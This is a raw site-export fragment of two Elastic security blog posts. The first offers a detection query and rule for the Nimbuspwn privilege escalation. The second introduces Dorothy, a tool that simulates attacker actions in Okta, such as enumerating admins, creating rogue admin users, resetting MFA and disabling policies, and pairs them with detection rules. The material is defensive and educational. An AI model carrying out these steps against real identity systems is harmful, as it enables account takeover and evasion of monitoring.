OSquery.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Firstly, those wishing to understand what systems in their environment may be impacted need to determine systems that have networkd-dispatcher installed:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation/elastic-blog-nimbuspwn.png\",alt:\"OSquery search\",width:\"1440\",height:\"866\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Writing an OSquery search that returns the installed version of Networkd-Dispatcher is relatively trivial, and understanding the systems that may be at risk are returned at a glance. In the screenshot above, we can see an example host listed with a version number of 2.1-2, specific to Ubuntu. The version installed within your environment may be slightly different depending on the distribution. An example query has been provided below.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Select version from deb_packages rpm_packages where name=\\u2019networkd-dispatcher\\u2019;\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"We leveraged the initial research paper from Microsoft, determining a specific malicious pattern adversaries may use to exploit this vulnerability:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation/elastic-blog-nimbuspwn-2.jpg\",alt:\"EQL Detection Rule to detect suspicious child processes of Networkd-Dispatcher\",width:\"1440\",height:\"512\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The Elastic Security team wrote an EQL Detection Rule to detect suspicious child processes of Networkd-Dispatcher. Any child-process detected by this rule should be considered highly suspicious given the circumstances, and should be investigated. Further analysis will likely be provided as our security community builds more POCs for this exploit. An example query appears below:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`process where event.type == \"start\" and process.parent.name : \"networkd-dispatcher\" and not process.name in (\"networkctl\", \"networkd-dispatcher\")\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Given the nature of this exploit, we expect far greater diversity in POCs over the coming weeks. You can expect updates in the form of further signatures or rules accordingly.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"defensive-recommendations\",children:\"Defensive recommendations\"}),`\n`,(0,i.jsx)(e.p,{children:\"Organizations impacted by vulnerabilities discovered by the Microsoft team should follow guidance provided by Microsoft in their initial post, and update their instances of networkd-dispatcher. Elastic recommends investigating hosts that are found to be running vulnerable versions of network-dispatcher with the aforementioned detections for any sign of compromise.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Not already using Elastic Security? You can always get started with a \",(0,i.jsx)(e.a,{href:\"https://cloud.elastic.co/registration\",rel:\"nofollow\",children:\"free 14-day trial\"}),\" of Elastic Cloud.\"]})]})}function x(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(d,t)})):d(t)}var k=x;return y(E);})();\n;return Component;"},"_id":"articles/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation.mdx","_raw":{"sourceFilePath":"articles/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation.mdx","sourceFileName":"nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation"},"type":"Article","imageUrl":"/assets/images/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation/thumb-report-threat-hunting.png","readingTime":"3 min read","series":"","url":"/nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation","headings":[{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"Detecting Nimbuspwn activity within Elastic","href":"#detecting-nimbuspwn-activity-within-elastic"},{"level":2,"title":"Defensive recommendations","href":"#defensive-recommendations"}],"author":[{"title":"Jake King","slug":"jake-king","description":"Elastic Security Intelligence Team Lead","image":"jake-king.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),k=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of l(e))!d.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=j(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),_=t=\u003ec(i({},\"__esModule\",{value:!0}),t);var g=f((L,s)=\u003e{s.exports=_jsx_runtime});var D={};k(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=p(g()),M={title:\"Jake King\",description:\"Elastic Security Intelligence Team Lead\",slug:\"jake-king\",image:\"jake-king.jpg\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=y;return _(D);})();\n;return Component;"},"_id":"authors/jake-king.mdx","_raw":{"sourceFilePath":"authors/jake-king.mdx","sourceFileName":"jake-king.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jake-king"},"type":"Author","imageUrl":"/assets/images/authors/jake-king.jpg","url":"/authors/jake-king"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Testing your Okta visibility and detection with Dorothy and Elastic Security","slug":"testing-okta-visibility-and-detection-dorothy","date":"2022-06-02","description":"Dorothy is a tool for security teams to test their visibility and detection capabilities for their Okta environment. IAM solutions are frequently targeted by adversaries but poorly monitored. Learn how to get started with Dorothy in this post.","image":"blog-thumb-dorothy-cow.jpg","body":{"raw":"\nWhen approached by stakeholders in their organization, few security teams can confidently demonstrate that logging and alerting capabilities are working as expected. Organizations have become more distributed and reliant on cloud offerings for use cases such as identity and access management, user productivity, and file storage. Meanwhile, adversaries have extended their operational capabilities in cloud environments. It is crucial that security teams are able to monitor these systems for abuse in order to protect their organization’s data from attack.\n\n[Dorothy](https://github.com/elastic/dorothy) is a free and open tool to help security teams test their visibility, monitoring, and detection capabilities for Okta Single Sign-On (SSO) environments. We’ll demonstrate how Dorothy can be used to execute tests and how [Elastic Security](https://www.elastic.co/security) can be used to alert on relevant and suspicious behavior using our [free and open detection rules](https://github.com/elastic/detection-rules/).\n\n## What is Okta SSO?\n\nFor those who aren’t familiar, [Okta SSO](https://www.okta.com/products/single-sign-on/) is a cloud-based identity management solution that allows users to authenticate to a variety of systems and applications within their organization using a single user account. Informing end users that they only have to remember _one_ username and password instead of ten or more reduces the risk that they’ll develop poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barrier to entry for attackers. Many attackers will simply move on and look for an easier target when they discover that MFA is enforced in their target’s network or user account.\n\nWhile SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems offer a type of skeleton key to many systems and applications, and are often an attractive target for attackers. It’s critical that security teams understand what normal behavior looks like in their Okta environment so that they can identify suspicious activity more easily.\n\n## Meet Dorothy\n\n[Dorothy](https://github.com/elastic/dorothy) has 25+ modules to simulate actions an attacker may take while operating in an Okta environment and behavior that security teams should monitor for, detect, and alert on. All modules are mapped to the relevant [MITRE ATT\u0026CK®](https://attack.mitre.org/) tactics, such as Persistence, Defense Evasion, Discovery, and Impact.\n\n\n\nDorothy was created to help defenders test their security visibility and controls, and does not provide any modules to obtain initial access or escalate privileges in an Okta environment. To execute actions using Dorothy, a valid Okta API token is required that is linked to a user with one or more administrator roles assigned.\n\nA user-friendly shell interface with contextual help is provided for navigation between menus and modules, helping guide the user through simulated intruder scenarios. Other features include configuration profiles to manage connections to individual Okta environments and detailed logging with the option of indexing events into Elasticsearch to provide an audit trail of the actions that were executed using Dorothy.\n\n## Executing actions in an Okta environment using Dorothy\n\nIn this section, we demonstrate how to execute some of Dorothy’s modules in an Okta environment. Figure 2 below shows the typical workflow for an Elastic Security user. After this demonstration, you should be comfortable with heading over to Dorothy’s GitHub repository and following the “Getting Started” steps in the project’s [wiki](https://github.com/elastic/dorothy/wiki).\n\n\n\n### whoami?\n\nLet’s put ourselves in an attacker's shoes and think about what actions they might take while operating in an Okta environment. As an attacker with an initial foothold, the first questions I'll have are about the user for which I have an API token. Let's simulate this attacker action through Dorothy's whoami command to look at the associated user’s login ID, last login time, and last password change.\n\nNow that we have a better understanding of the user account we have control of, we’ll list Dorothy’s modules and check out the help menu before making our next move.\n\n\u003cVideo vidyard_uuid=\"iG2cr4pHfUSwwVyk3paivS\" /\u003e\n\n_Figure 3 - Executing Dorothy’s whoami and list-modules commands_\n\n### Discovery\n\nDorothy has several discovery modules we can use to simulate the knowledge an attacker might obtain about an Okta environment. Adversaries will often spend time to learn details of an environment after obtaining initial access — details that are essential for orienting themselves before planning their next steps.\n\nLet’s try and gain some knowledge about the Okta environment by harvesting the following information:\n\n- Users - A list of names, login IDs, email addresses, password recovery questions, and the status of each user will be useful when choosing which accounts to take control of, modify, or leave intact to avoid detection\n- Policies - [Okta policies](https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm) are used to control elements of security, including password complexity and MFA requirements, as well as the devices that users are permitted to use. This knowledge will come in handy if we decide to weaken some components of the target’s security configuration\n- Zones - [Network zones](https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm) can be used to define security perimeters for an Okta environment. Similar to policies, this information helps us learn how the environment is configured and make informed decisions before implementing any changes on how traffic is allowed or blocked\n\nFinally, we’ll execute the find-admins module to enumerate the roles of each Okta user and identify which users have one or more administrator roles assigned to them.\n\n\u003cVideo vidyard_uuid=\"TkDuAJQwKabkyj375rfYPe\" /\u003e\n\n_Figure 4 - Executing Dorothy’s “discovery” modules to gain knowledge about the Okta environment_\n\nOther discovery modules to help with information gathering tasks include find-users-without-mfa to find users who may authenticate using only a username and password and find-admin-groups to identify user groups that have one or more administrator roles assigned to them.\n\n### Persistence\n\nOnce an attacker has obtained access to their target environment, they may look for opportunities to establish persistence. Persistence helps an attacker maintain access in the event that they lose their initial foothold. A common example of how an adversary might lose their access is when the security team detects their presence and disables the compromised user account that the attacker is utilizing or blocks their communications at the network perimeter.\n\nHaving one or more persistence mechanisms in place means that the attacker will be able to continue their mission if one of their pathways is blocked or interrupted. In this example, we’ll use Dorothy's create-user and create-admin-user modules to create an Okta user and [assign an administrator role](https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_administrator_role_assigned_to_okta_user.toml) to the new user. Next, we'll create a recovery question for another Okta user so that we can go through the process of resetting the password for that user and take control of their account as another method of persistence.\n\n\u003cVideo vidyard_uuid=\"GBE6rQG2gxPGLhysSSTZet\" /\u003e\n\nDorothy has other persistence modules to help us understand the steps an attacker might take, such as reset-factors to [remove a user's enrolled authentication factors](https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml) and reset-password to generate a one-time link to reset a user's password.\n\n### Defense Evasion\n\nAdversaries will attempt to execute defense evasion techniques to avoid detection throughout their mission. For example, an attacker may attempt to disable security logging to render the security team blind to their nefarious actions.\n\nAt this point, we’ve gained knowledge about the environment and configured a couple of forms of persistence. Let’s execute Dorothy's [change-policy-state](https://github.com/elastic/detection-rules/blob/main/rules/okta/okta_attempt_to_deactivate_okta_policy.toml) and [change-zone-state](https://github.com/elastic/detection-rules/blob/main/rules/okta/attempt_to_deactivate_okta_network_zone.toml) modules to weaken the “target's” security controls.\n\n\u003cVideo vidyard_uuid=\"ibEzpdD2KPKKK83d3n556d\" /\u003e\n\n_Figure 6 - Deactivating Okta policy and network zone objects_\n\nOther defense evasion-themed modules can activate, deactivate, or modify other Okta objects such as applications and individual policy rules.\n\nWe’ll stop our fictitious attack scenario here, but if you’re curious to learn what else Dorothy can do, head over to the [GitHub repository](https://github.com/elastic/dorothy).\n\n## Detecting suspicious behavior with Elastic Security\n\nIn this section, we'll demonstrate how Okta's [system log](https://help.okta.com/en/prod/Content/Topics/Reports/Reports_SysLog.htm) powers our free detection rules to monitor for and alert teams to suspicious behavior.\n\nOkta's system log provides an audit trail of activity that was observed in an organization's environment. This includes activity such as users logging in or changing their password, administrators making configuration changes, and much more. This data source is incredibly useful for security monitoring, investigations, compliance, and response activities.\n\n### Ingesting Okta system logs with Fleet\n\n[Fleet](https://www.elastic.co/guide/en/fleet/current/fleet-overview.html) provides a web-based UI in Kibana to add and manage integrations for popular services and platforms including Okta, AWS, Azure, Google Cloud Platform, Google Workspace, and many others. Fleet’s Okta integration provides an easy way to ingest and normalize Okta’s system log events.\n\n\n\nAn [Okta Filebeat module](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html) is also available for teams that already use Beats.\n\n### Detecting suspicious behavior with Elastic Security’s free detection rules\n\nThe Elastic Security Protections Team researches adversary tradecraft in order to develop detections and preventions for endpoint, cloud, and network platforms. Our [detection rules](https://github.com/elastic/detection-rules) are free and developed in the open alongside the broader security community.\n\nOur Okta rules utilize the indexed system log events that are normalized into [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/ecs-reference.html) and alert security teams to relevant and suspicious behavior.\n\nFigure 8 below shows a number of alerts in Elastic Security after Dorothy was used to simulate actions that an attacker might take while operating in an Okta environment.\n\n\n\nWhat about those pesky false positives? Adding exceptions to rules in Elastic Security to filter routine and expected behavior is straightforward. This feature includes an option to close all alerts that match the exception to save you time.\n\n\n\n## Measure your cloud cover with Dorothy\n\nOkta and other identity management solutions are frequently targeted by adversaries, but are often poorly monitored, if at all. We created Dorothy as a tool to help security teams understand how adversaries can operate within Okta environments, further empowering them to test their visibility and efficacy of our free and open detection rules.\n\nYou can learn how to get started with Dorothy by visiting the project’s [wiki](https://github.com/elastic/dorothy/wiki). If you're not already an Elastic Security user, you can sign up for a [free cloud trial](https://www.elastic.co/cloud/) today and check out our free [detection rules](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo).\n","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),y=(i,e)=\u003e{for(var o in e)a(i,o,{get:e[o],enumerable:!0})},s=(i,e,o,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of m(e))!g.call(i,n)\u0026\u0026n!==o\u0026\u0026a(i,n,{get:()=\u003ee[n],enumerable:!(r=u(e,n))||r.enumerable});return i};var w=(i,e,o)=\u003e(o=i!=null?d(p(i)):{},s(e||!i||!i.__esModule?a(o,\"default\",{value:i,enumerable:!0}):o,i)),v=i=\u003es(a({},\"__esModule\",{value:!0}),i);var c=f((S,l)=\u003e{l.exports=_jsx_runtime});var x={};y(x,{default:()=\u003eO,frontmatter:()=\u003ek});var t=w(c()),k={title:\"Testing your Okta visibility and detection with Dorothy and Elastic Security\",slug:\"testing-okta-visibility-and-detection-dorothy\",date:\"2022-06-02\",description:\"Dorothy is a tool for security teams to test their visibility and detection capabilities for their Okta environment. IAM solutions are frequently targeted by adversaries but poorly monitored. Learn how to get started with Dorothy in this post.\",author:[{slug:\"david-french\"}],image:\"blog-thumb-dorothy-cow.jpg\",category:[{slug:\"security-research\"}]};function h(i){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",em:\"em\",img:\"img\",h3:\"h3\",ul:\"ul\",li:\"li\"},i.components),{Video:o}=e;return o||D(\"Video\",!0),(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.p,{children:\"When approached by stakeholders in their organization, few security teams can confidently demonstrate that logging and alerting capabilities are working as expected. Organizations have become more distributed and reliant on cloud offerings for use cases such as identity and access management, user productivity, and file storage. Meanwhile, adversaries have extended their operational capabilities in cloud environments. It is crucial that security teams are able to monitor these systems for abuse in order to protect their organization\\u2019s data from attack.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/elastic/dorothy\",rel:\"nofollow\",children:\"Dorothy\"}),\" is a free and open tool to help security teams test their visibility, monitoring, and detection capabilities for Okta Single Sign-On (SSO) environments. We\\u2019ll demonstrate how Dorothy can be used to execute tests and how \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security\",rel:\"nofollow\",children:\"Elastic Security\"}),\" can be used to alert on relevant and suspicious behavior using our \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/\",rel:\"nofollow\",children:\"free and open detection rules\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"what-is-okta-sso\",children:\"What is Okta SSO?\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For those who aren\\u2019t familiar, \",(0,t.jsx)(e.a,{href:\"https://www.okta.com/products/single-sign-on/\",rel:\"nofollow\",children:\"Okta SSO\"}),\" is a cloud-based identity management solution that allows users to authenticate to a variety of systems and applications within their organization using a single user account. Informing end users that they only have to remember \",(0,t.jsx)(e.em,{children:\"one\"}),\" username and password instead of ten or more reduces the risk that they\\u2019ll develop poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barrier to entry for attackers. Many attackers will simply move on and look for an easier target when they discover that MFA is enforced in their target\\u2019s network or user account.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"While SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems offer a type of skeleton key to many systems and applications, and are often an attractive target for attackers. It\\u2019s critical that security teams understand what normal behavior looks like in their Okta environment so that they can identify suspicious activity more easily.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"meet-dorothy\",children:\"Meet Dorothy\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/elastic/dorothy\",rel:\"nofollow\",children:\"Dorothy\"}),\" has 25+ modules to simulate actions an attacker may take while operating in an Okta environment and behavior that security teams should monitor for, detect, and alert on. All modules are mapped to the relevant \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\\xAE\"}),\" tactics, such as Persistence, Defense Evasion, Discovery, and Impact.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/testing-okta-visibility-and-detection-dorothy/1-Dorothy-blog-listing-modules.png\",alt:\"Figure 1 - Starting Dorothy and listing its modules\",width:\"1440\",height:\"1360\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Dorothy was created to help defenders test their security visibility and controls, and does not provide any modules to obtain initial access or escalate privileges in an Okta environment. To execute actions using Dorothy, a valid Okta API token is required that is linked to a user with one or more administrator roles assigned.\"}),`\n`,(0,t.jsx)(e.p,{children:\"A user-friendly shell interface with contextual help is provided for navigation between menus and modules, helping guide the user through simulated intruder scenarios. Other features include configuration profiles to manage connections to individual Okta environments and detailed logging with the option of indexing events into Elasticsearch to provide an audit trail of the actions that were executed using Dorothy.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"executing-actions-in-an-okta-environment-using-dorothy\",children:\"Executing actions in an Okta environment using Dorothy\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this section, we demonstrate how to execute some of Dorothy\\u2019s modules in an Okta environment. Figure 2 below shows the typical workflow for an Elastic Security user. After this demonstration, you should be comfortable with heading over to Dorothy\\u2019s GitHub repository and following the \\u201CGetting Started\\u201D steps in the project\\u2019s \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/dorothy/wiki\",rel:\"nofollow\",children:\"wiki\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/testing-okta-visibility-and-detection-dorothy/2-Dorothy-blog-example_workflow.png\",alt:\"Figure 2 - Example workflow for executing actions in an Okta environment using Dorothy\",width:\"1440\",height:\"992\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"whoami\",children:\"whoami?\"}),`\n`,(0,t.jsx)(e.p,{children:\"Let\\u2019s put ourselves in an attacker's shoes and think about what actions they might take while operating in an Okta environment. As an attacker with an initial foothold, the first questions I'll have are about the user for which I have an API token. Let's simulate this attacker action through Dorothy's whoami command to look at the associated user\\u2019s login ID, last login time, and last password change.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we have a better understanding of the user account we have control of, we\\u2019ll list Dorothy\\u2019s modules and check out the help menu before making our next move.\"}),`\n`,(0,t.jsx)(o,{vidyard_uuid:\"iG2cr4pHfUSwwVyk3paivS\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 3 - Executing Dorothy\\u2019s whoami and list-modules commands\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"discovery\",children:\"Discovery\"}),`\n`,(0,t.jsx)(e.p,{children:\"Dorothy has several discovery modules we can use to simulate the knowledge an attacker might obtain about an Okta environment. Adversaries will often spend time to learn details of an environment after obtaining initial access \\u2014 details that are essential for orienting themselves before planning their next steps.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Let\\u2019s try and gain some knowledge about the Okta environment by harvesting the following information:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Users - A list of names, login IDs, email addresses, password recovery questions, and the status of each user will be useful when choosing which accounts to take control of, modify, or leave intact to avoid detection\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Policies - \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm\",rel:\"nofollow\",children:\"Okta policies\"}),\" are used to control elements of security, including password complexity and MFA requirements, as well as the devices that users are permitted to use. This knowledge will come in handy if we decide to weaken some components of the target\\u2019s security configuration\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Zones - \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm\",rel:\"nofollow\",children:\"Network zones\"}),\" can be used to define security perimeters for an Okta environment. Similar to policies, this information helps us learn how the environment is configured and make informed decisions before implementing any changes on how traffic is allowed or blocked\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Finally, we\\u2019ll execute the find-admins module to enumerate the roles of each Okta user and identify which users have one or more administrator roles assigned to them.\"}),`\n`,(0,t.jsx)(o,{vidyard_uuid:\"TkDuAJQwKabkyj375rfYPe\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 4 - Executing Dorothy\\u2019s \\u201Cdiscovery\\u201D modules to gain knowledge about the Okta environment\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Other discovery modules to help with information gathering tasks include find-users-without-mfa to find users who may authenticate using only a username and password and find-admin-groups to identify user groups that have one or more administrator roles assigned to them.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,t.jsx)(e.p,{children:\"Once an attacker has obtained access to their target environment, they may look for opportunities to establish persistence. Persistence helps an attacker maintain access in the event that they lose their initial foothold. A common example of how an adversary might lose their access is when the security team detects their presence and disables the compromised user account that the attacker is utilizing or blocks their communications at the network perimeter.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Having one or more persistence mechanisms in place means that the attacker will be able to continue their mission if one of their pathways is blocked or interrupted. In this example, we\\u2019ll use Dorothy's create-user and create-admin-user modules to create an Okta user and \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_administrator_role_assigned_to_okta_user.toml\",rel:\"nofollow\",children:\"assign an administrator role\"}),\" to the new user. Next, we'll create a recovery question for another Okta user so that we can go through the process of resetting the password for that user and take control of their account as another method of persistence.\"]}),`\n`,(0,t.jsx)(o,{vidyard_uuid:\"GBE6rQG2gxPGLhysSSTZet\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Dorothy has other persistence modules to help us understand the steps an attacker might take, such as reset-factors to \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml\",rel:\"nofollow\",children:\"remove a user's enrolled authentication factors\"}),\" and reset-password to generate a one-time link to reset a user's password.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"defense-evasion\",children:\"Defense Evasion\"}),`\n`,(0,t.jsx)(e.p,{children:\"Adversaries will attempt to execute defense evasion techniques to avoid detection throughout their mission. For example, an attacker may attempt to disable security logging to render the security team blind to their nefarious actions.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"At this point, we\\u2019ve gained knowledge about the environment and configured a couple of forms of persistence. Let\\u2019s execute Dorothy's \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/okta/okta_attempt_to_deactivate_okta_policy.toml\",rel:\"nofollow\",children:\"change-policy-state\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/okta/attempt_to_deactivate_okta_network_zone.toml\",rel:\"nofollow\",children:\"change-zone-state\"}),\" modules to weaken the \\u201Ctarget's\\u201D security controls.\"]}),`\n`,(0,t.jsx)(o,{vidyard_uuid:\"ibEzpdD2KPKKK83d3n556d\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 6 - Deactivating Okta policy and network zone objects\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Other defense evasion-themed modules can activate, deactivate, or modify other Okta objects such as applications and individual policy rules.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We\\u2019ll stop our fictitious attack scenario here, but if you\\u2019re curious to learn what else Dorothy can do, head over to the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/dorothy\",rel:\"nofollow\",children:\"GitHub repository\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-suspicious-behavior-with-elastic-security\",children:\"Detecting suspicious behavior with Elastic Security\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this section, we'll demonstrate how Okta's \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en/prod/Content/Topics/Reports/Reports_SysLog.htm\",rel:\"nofollow\",children:\"system log\"}),\" powers our free detection rules to monitor for and alert teams to suspicious behavior.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Okta's system log provides an audit trail of activity that was observed in an organization's environment. This includes activity such as users logging in or changing their password, administrators making configuration changes, and much more. This data source is incredibly useful for security monitoring, investigations, compliance, and response activities.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"ingesting-okta-system-logs-with-fleet\",children:\"Ingesting Okta system logs with Fleet\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/fleet/current/fleet-overview.html\",rel:\"nofollow\",children:\"Fleet\"}),\" provides a web-based UI in Kibana to add and manage integrations for popular services and platforms including Okta, AWS, Azure, Google Cloud Platform, Google Workspace, and many others. Fleet\\u2019s Okta integration provides an easy way to ingest and normalize Okta\\u2019s system log events.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/testing-okta-visibility-and-detection-dorothy/7-Dorothy-blog-reviewing-fleet.png\",alt:\"Figure 7 - Reviewing Fleet\\u2019s Okta integration in Kibana\",width:\"1440\",height:\"736\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"An \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html\",rel:\"nofollow\",children:\"Okta Filebeat module\"}),\" is also available for teams that already use Beats.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"detecting-suspicious-behavior-with-elastic-securitys-free-detection-rules\",children:\"Detecting suspicious behavior with Elastic Security\\u2019s free detection rules\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The Elastic Security Protections Team researches adversary tradecraft in order to develop detections and preventions for endpoint, cloud, and network platforms. Our 